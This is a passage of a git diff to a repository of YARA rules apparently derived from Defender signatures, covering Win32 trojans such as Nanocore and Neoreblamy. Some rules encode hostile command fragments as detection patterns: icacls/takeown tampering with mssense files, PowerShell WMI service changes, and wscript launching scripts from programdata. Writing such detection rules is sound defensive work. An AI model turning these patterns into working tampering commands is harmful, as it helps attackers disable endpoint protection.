?? ?? d0 ab 40 00 6a 00 8d 95 ec ec ff ff 52 6a 01 68 bc 71 40 00 56 ?? ?? d0 ab 40 00 6a 00 8d 85 ec ec ff ff 50 6a 01 68 b8 71 40 00 56 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Mirage/Trojan_Win32_Mirage_SX_MTB.yar b/Trojan/Win32/Mirage/Trojan_Win32_Mirage_SX_MTB.yar new file mode 100644 index 0000000000..0757e169f7 --- /dev/null +++ b/Trojan/Win32/Mirage/Trojan_Win32_Mirage_SX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Mirage_SX_MTB{ + meta: + description = "Trojan:Win32/Mirage.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_01_0 = {0f af c3 99 8b cf f7 f9 ff 4d f8 66 89 55 f4 75 df 33 db ff 45 08 39 7d 08 7c ca } //5 + $a_01_1 = {99 59 f7 f9 8b 44 24 1c 4b 66 89 2c 50 } //3 + $a_01_2 = {8d bd e8 fb ff ff f3 a5 6a 6b 33 c0 59 8d bd 44 fc ff ff f3 ab 8d 45 fc 89 5d fc } //2 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ModifyFilePermission/Trojan_Win32_ModifyFilePermission_AC.yar b/Trojan/Win32/ModifyFilePermission/Trojan_Win32_ModifyFilePermission_AC.yar new file mode 100644 index 0000000000..12ca174a5a --- /dev/null +++ b/Trojan/Win32/ModifyFilePermission/Trojan_Win32_ModifyFilePermission_AC.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ModifyFilePermission_AC{ + meta: + description = "Trojan:Win32/ModifyFilePermission.AC,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_02_0 = {69 00 63 00 61 00 63 00 6c 00 73 00 [0-0a] 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 5c 00 61 00 74 00 74 00 61 00 63 00 6b 00 69 00 71 00 5f 00 70 00 65 00 72 00 6d 00 69 00 73 00 73 00 69 00 6f 00 6e 00 73 00 5f 00 74 00 65 00 73 00 74 00 [0-08] 67 00 72 00 61 00 6e 00 74 00 20 00 75 00 73 00 65 00 72 00 73 00 3a 00 6d 00 } //3 + condition: + ((#a_02_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ModifyWindowsService/Trojan_Win32_ModifyWindowsService_AD.yar b/Trojan/Win32/ModifyWindowsService/Trojan_Win32_ModifyWindowsService_AD.yar new file mode 100644 index 0000000000..3cf2eb3942 --- /dev/null +++ b/Trojan/Win32/ModifyWindowsService/Trojan_Win32_ModifyWindowsService_AD.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ModifyWindowsService_AD{ + meta: + description = "Trojan:Win32/ModifyWindowsService.AD,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 28 00 47 00 65 00 74 00 2d 00 57 00 6d 00 69 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 77 00 69 00 6e 00 33 00 32 00 5f 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 2d 00 66 00 69 00 6c 00 74 00 65 00 72 00 [0-50] 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 6d 00 69 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 2d 00 4e 00 61 00 6d 00 65 00 20 00 43 00 68 00 61 00 6e 00 67 00 65 00 20 00 2d 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 4c 00 69 00 73 00 74 00 } //3 + $a_02_1 = {20 00 40 00 28 00 24 00 6e 00 75 00 6c 00 6c 00 2c 00 20 00 24 00 6e 00 75 00 6c 00 6c 00 2c 00 20 00 24 00 6e 00 75 00 6c 00 6c 00 2c 00 20 00 24 00 6e 00 75 00 6c 00 6c 00 2c 00 20 00 24 00 6e 00 75 00 6c 00 6c 00 2c 00 [0-04] 41 00 74 00 74 00 61 00 63 00 6b 00 49 00 51 00 } //3 + condition: + ((#a_02_0 & 1)*3+(#a_02_1 & 1)*3) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Mofei/Trojan_Win32_Mofei_PGM_MTB.yar b/Trojan/Win32/Mofei/Trojan_Win32_Mofei_PGM_MTB.yar new file mode 100644 index 0000000000..3a4742d471 --- /dev/null +++ b/Trojan/Win32/Mofei/Trojan_Win32_Mofei_PGM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Mofei_PGM_MTB{ + meta: + description = "Trojan:Win32/Mofei.PGM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_01_0 = {2e 64 61 74 61 00 00 00 d4 14 00 00 00 40 00 00 00 06 00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 } //2 + $a_01_1 = {77 6d 63 73 65 72 76 2e 65 78 65 00 24 73 5c 73 79 73 74 65 6d 33 32 5c 26 73 41 00 4d 54 42 54 52 2d 44 57 45 00 00 00 2d 70 00 00 2d 76 00 00 2d 64 } //3 + $a_01_2 = {5c 61 76 70 2e 65 78 65 00 00 00 00 4b 49 53 38 00 4b 41 56 38 00 4b 49 53 37 00 4b 41 56 37 00 53 4f 46 54 57 41 52 45 5c 4b 61 73 70 65 72 73 6b 79 4c 61 62 5c 53 65 74 75 70 46 6f 6c 64 65 72 73 } //5 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*3+(#a_01_2 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/MortyStealer/Trojan_Win32_MortyStealer_MA_MTB.yar b/Trojan/Win32/MortyStealer/Trojan_Win32_MortyStealer_MA_MTB.yar deleted file mode 100644 index bda8897cfe..0000000000 --- a/Trojan/Win32/MortyStealer/Trojan_Win32_MortyStealer_MA_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win32_MortyStealer_MA_MTB{ - meta: - description = "Trojan:Win32/MortyStealer.MA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {33 c0 66 89 44 24 16 8b 41 08 89 44 24 18 8b 41 0c 8b 4c 24 34 89 44 24 1c 0f b6 c1 66 c1 e0 08 66 89 44 24 20 8b c1 c1 e8 08 0f b6 c0 66 c1 e0 08 66 89 44 24 22 c1 e9 10 } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_A.yar b/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_A.yar new file mode 100644 index 0000000000..079a49a45e --- /dev/null +++ b/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_A.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_MsSenseComponentTamper_A{ + meta: + description = "Trojan:Win32/MsSenseComponentTamper.A,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 } //1 takeown + $a_00_1 = {20 00 2f 00 66 00 20 00 } //1 /f + $a_00_2 = {6d 00 73 00 73 00 65 00 6e 00 73 00 65 00 2e 00 64 00 6c 00 6c 00 } //1 mssense.dll + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_B.yar b/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_B.yar new file mode 100644 index 0000000000..523f28f08c --- /dev/null +++ b/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_B.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_MsSenseComponentTamper_B{ + meta: + description = "Trojan:Win32/MsSenseComponentTamper.B,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {69 00 63 00 61 00 63 00 6c 00 73 00 } //1 icacls + $a_00_1 = {4d 00 73 00 53 00 65 00 6e 00 73 00 65 00 2e 00 64 00 6c 00 6c 00 } //1 MsSense.dll + $a_00_2 = {20 00 2f 00 67 00 72 00 61 00 6e 00 74 00 20 00 } //1 /grant + $a_00_3 = {3a 00 46 00 } //1 :F + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_C.yar b/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_C.yar new file mode 100644 index 0000000000..6dc00aae60 --- /dev/null +++ b/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_C.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_MsSenseComponentTamper_C{ + meta: + description = "Trojan:Win32/MsSenseComponentTamper.C,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {69 00 63 00 61 00 63 00 6c 00 73 00 } //1 icacls + $a_00_1 = {6d 00 73 00 73 00 65 00 6e 00 73 00 65 00 2e 00 65 00 78 00 65 00 } //1 mssense.exe + $a_00_2 = {20 00 2f 00 64 00 65 00 6e 00 79 00 20 00 } //1 /deny + $a_00_3 = {20 00 65 00 76 00 65 00 72 00 79 00 6f 00 6e 00 65 00 3a 00 } //1 everyone: + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_D.yar b/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_D.yar new file mode 100644 index 0000000000..155360e099 --- /dev/null +++ b/Trojan/Win32/MsSenseComponentTamper/Trojan_Win32_MsSenseComponentTamper_D.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_MsSenseComponentTamper_D{ + meta: + description = "Trojan:Win32/MsSenseComponentTamper.D,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {69 00 63 00 61 00 63 00 6c 00 73 00 } //1 icacls + $a_00_1 = {6d 00 73 00 73 00 65 00 6e 00 73 00 65 00 2e 00 64 00 6c 00 6c 00 } //1 mssense.dll + $a_00_2 = {20 00 2f 00 64 00 65 00 6e 00 79 00 20 00 } //1 /deny + $a_00_3 = {20 00 65 00 76 00 65 00 72 00 79 00 6f 00 6e 00 65 00 3a 00 } //1 everyone: + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/NamedPipeUtils/Trojan_Win32_NamedPipeUtils_MK.yar b/Trojan/Win32/NamedPipeUtils/Trojan_Win32_NamedPipeUtils_MK.yar new file mode 100644 index 0000000000..641e7dc926 --- /dev/null +++ b/Trojan/Win32/NamedPipeUtils/Trojan_Win32_NamedPipeUtils_MK.yar @@ -0,0 +1,30 @@ + +rule Trojan_Win32_NamedPipeUtils_MK{ + meta: + description = "Trojan:Win32/NamedPipeUtils.MK,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 } //1 installutil.exe + $a_00_3 = {6e 00 61 00 6d 00 65 00 64 00 5f 00 70 00 69 00 70 00 65 00 } //1 named_pipe + $a_00_4 = {26 00 20 00 65 00 78 00 69 00 74 00 } //1 & exit + $a_00_5 = {70 00 67 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 33 00 78 00 } //-1 pg06e39e-7876-4ba3-beee-42bd80ff363x + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*-1) >=5 + +} +rule Trojan_Win32_NamedPipeUtils_MK_2{ + meta: + description = "Trojan:Win32/NamedPipeUtils.MK,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 } //1 installutil.exe + $a_00_3 = {6e 00 61 00 6d 00 65 00 64 00 5f 00 70 00 69 00 70 00 65 00 } //1 named_pipe + $a_00_4 = {26 00 20 00 65 00 78 00 69 00 74 00 } //1 & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Nanocore/Trojan_Win32_Nanocore_BAA_MTB.yar b/Trojan/Win32/Nanocore/Trojan_Win32_Nanocore_BAA_MTB.yar new file mode 100644 index 0000000000..03437f92f7 --- /dev/null +++ b/Trojan/Win32/Nanocore/Trojan_Win32_Nanocore_BAA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Nanocore_BAA_MTB{ + meta: + description = "Trojan:Win32/Nanocore.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {8a 04 31 8d 49 01 34 ?? 88 41 ff 83 ef 01 75 } //2 + $a_03_1 = {2a c8 8b 45 08 0a d1 8b 4d e8 8b 00 88 14 01 41 89 4d e8 81 ff ?? ?? ?? ?? 72 } //2 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Nanocore/Trojan_Win32_Nanocore_SCRE_MTB.yar b/Trojan/Win32/Nanocore/Trojan_Win32_Nanocore_SCRE_MTB.yar new file mode 100644 index 0000000000..dacc3e6560 --- /dev/null +++ b/Trojan/Win32/Nanocore/Trojan_Win32_Nanocore_SCRE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Nanocore_SCRE_MTB{ + meta: + description = "Trojan:Win32/Nanocore.SCRE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_81_0 = {76 6f 6b 73 6b 72 74 65 64 69 72 69 67 65 6e 74 75 64 67 72 61 76 6e 69 6e 67 65 72 63 } //2 vokskrtedirigentudgravningerc + $a_81_1 = {63 72 6f 73 73 66 6c 6f 77 65 72 70 6f 73 69 74 69 6f 6e 73 73 79 73 74 65 6d 73 73 69 } //2 crossflowerpositionssystemssi + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/NebulaWorm/Trojan_Win32_NebulaWorm_AHB_MTB.yar b/Trojan/Win32/NebulaWorm/Trojan_Win32_NebulaWorm_AHB_MTB.yar new file mode 100644 index 0000000000..419efb9754 --- /dev/null +++ b/Trojan/Win32/NebulaWorm/Trojan_Win32_NebulaWorm_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_NebulaWorm_AHB_MTB{ + meta: + description = "Trojan:Win32/NebulaWorm.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {06 02 03 6f b8 00 00 0a 04 6f b9 00 00 0a 2c 08 06 6f ba 00 00 0a 2b 01 16 0b de 0f } //3 + $a_03_1 = {0a 18 33 56 09 6f ?? 00 00 0a 6f ?? 00 00 0a 13 04 11 04 72 be 15 00 70 28 2b 00 00 0a 13 05 11 05 28 24 00 00 0a 2d 10 06 11 05 28 c3 00 00 0a 11 05 1c 28 c4 00 00 0a 11 04 72 da 15 00 70 28 2b 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Nekark/Trojan_Win32_Nekark_MBV_MTB.yar b/Trojan/Win32/Nekark/Trojan_Win32_Nekark_MBV_MTB.yar new file mode 100644 index 0000000000..de87643901 --- /dev/null +++ b/Trojan/Win32/Nekark/Trojan_Win32_Nekark_MBV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Nekark_MBV_MTB{ + meta: + description = "Trojan:Win32/Nekark.MBV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {73 65 5c 4d 6f 64 69 66 69 65 64 50 72 6f 63 74 61 74 69 63 2e 70 64 62 } //1 se\ModifiedProctatic.pdb + $a_01_1 = {44 00 4f 00 20 00 59 00 4f 00 55 00 20 00 57 00 41 00 4e 00 54 00 20 00 54 00 4f 00 20 00 45 00 58 00 45 00 43 00 55 00 54 00 45 00 20 00 54 00 48 00 49 00 53 00 20 00 4d 00 41 00 4c 00 57 00 41 00 52 00 45 00 } //2 DO YOU WANT TO EXECUTE THIS MALWARE + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CF_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CF_MTB.yar new file mode 100644 index 0000000000..f75aa79855 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Neoreblamy_CF_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.CF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {2b c8 2b 4d ?? ?? 34 8f ff 34 b3 e8 ?? ?? ff ff 89 04 b3 46 8b 45 ?? 03 45 ?? 59 59 3b f0 0f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CG_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CG_MTB.yar new file mode 100644 index 0000000000..bb8e246a6e --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CG_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Neoreblamy_CG_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.CG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_03_0 = {8b 45 08 23 45 0c 89 85 ?? ?? ff ff 8b 45 08 23 45 0c 89 85 } //2 + $a_01_1 = {2b c8 03 4d } //1 + $a_01_2 = {ff ff 2b 85 } //1 + $a_01_3 = {ff ff 89 85 } //1 + $a_01_4 = {ff ff 8b 85 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CH_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CH_MTB.yar new file mode 100644 index 0000000000..94a1e8b822 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CH_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Neoreblamy_CH_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.CH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 00 " + + strings : + $a_01_0 = {f7 f1 0f af 45 } //2 + $a_03_1 = {ff 34 88 ff 34 b3 e8 ?? ?? ff ff 89 04 b3 } //3 + $a_03_2 = {ff 34 8b ff 34 b8 e8 ?? ?? ff ff 59 59 8b 4d ?? 89 04 b9 47 } //3 + $a_03_3 = {ff 34 b3 e8 ?? ?? ff ff 89 04 b3 46 8b 45 } //3 + $a_03_4 = {ff 34 8f ff 34 b3 e8 ?? ?? ff ff 89 04 b3 } //3 + $a_03_5 = {ff 34 8b ff 34 b7 e8 ?? ?? ff ff 89 04 b7 } //3 + $a_01_6 = {59 59 3b f0 72 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*3+(#a_03_2 & 1)*3+(#a_03_3 & 1)*3+(#a_03_4 & 1)*3+(#a_03_5 & 1)*3+(#a_01_6 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CI_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CI_MTB.yar new file mode 100644 index 0000000000..ef14c91713 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CI_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Neoreblamy_CI_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.CI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_03_0 = {2b c8 8b 45 f4 2b 4d f8 ff 34 8f ff 34 b0 e8 ?? ?? ?? ff 59 59 8b 4d f4 89 04 b1 46 8b 45 f0 03 c3 } //5 + $a_03_1 = {2b c8 03 4d fc ff 34 8b ff 34 b7 e8 ?? ?? ?? ff 89 04 b7 46 8b 45 f4 03 45 f0 59 59 3b f0 0f 82 } //5 + $a_03_2 = {ff 34 8b ff 34 b8 e8 ?? ?? ?? ff 59 59 8b 4d f4 89 04 b9 47 8b 45 f0 03 c6 3b f8 0f 82 } //5 + $a_03_3 = {2b c8 2b 4d f8 ff 34 8f ff 34 b3 e8 ?? ?? ?? ff 89 04 b3 46 8b 45 f4 03 45 ec 59 59 3b f0 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5+(#a_03_2 & 1)*5+(#a_03_3 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CJ_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CJ_MTB.yar new file mode 100644 index 0000000000..9305c71a07 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_CJ_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.CJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {03 4d f8 ff 34 8b ff 34 b7 e8 ?? ?? ff ff 89 04 b7 46 8b 45 } //5 + $a_01_1 = {8b 55 ec 59 59 8b 4d fc 89 04 8a 41 8b 45 f8 03 c7 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CK_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CK_MTB.yar new file mode 100644 index 0000000000..a431954141 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CK_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Neoreblamy_CK_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.CK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {89 55 f4 6b 4d f4 } //1 + $a_01_1 = {2b c8 03 4d e0 } //1 + $a_01_2 = {2b f8 8b 45 } //1 + $a_01_3 = {ff ff 59 59 8b 4d } //1 + $a_01_4 = {2b c8 03 4d e4 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CL_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CL_MTB.yar index 73d50663e2..39338c52ab 100644 --- a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CL_MTB.yar +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_CL_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win32_Neoreblamy_CL_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.CL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {2b c8 2b ca 03 4d e4 89 4d e4 } //3 + $a_01_1 = {ff ff 59 59 8b 4d } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} +rule Trojan_Win32_Neoreblamy_CL_MTB_2{ meta: description = "Trojan:Win32/Neoreblamy.CL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_HA_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_HA_MTB.yar new file mode 100644 index 0000000000..2c44f4cafc --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_HA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Neoreblamy_HA_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 03 00 00 " + + strings : + $a_00_0 = {66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 } //1 forfiles + $a_00_1 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 63 00 6d 00 64 00 20 00 2f 00 43 00 20 00 40 00 46 00 4e 00 41 00 4d 00 45 00 } //5 wscript.exe /c cmd /C @FNAME + $a_02_2 = {70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 [0-38] 2e 00 77 00 73 00 66 00 5e 00 } //10 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*5+(#a_02_2 & 1)*10) >=16 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_HB_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_HB_MTB.yar new file mode 100644 index 0000000000..7353a94659 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_HB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Neoreblamy_HB_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.HB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 [0-06] 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 90 22 10 03 61 2d 7a 5c 00 90 22 07 03 61 2d 7a 2e 00 77 00 73 00 66 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFI_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFI_MTB.yar new file mode 100644 index 0000000000..2b49153677 --- /dev/null +++ b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Neoreblamy_NFI_MTB{ + meta: + description = "Trojan:Win32/Neoreblamy.NFI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {6a 04 59 d1 e1 89 84 0d ?? ?? ff ff 6a 04 58 c1 e0 00 } //2 + $a_03_1 = {eb 07 8b 45 ec 40 89 45 ec 83 7d ec ?? 7d 10 8b 45 ec } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFJ_MTB.yar b/Trojan/Win32/Neoreblamy/Trojan_Win32_Neoreblamy_NFJ_MTB.yar new file mode 100644 index 0000000000..f949a4d77a --- /dev/null +++ 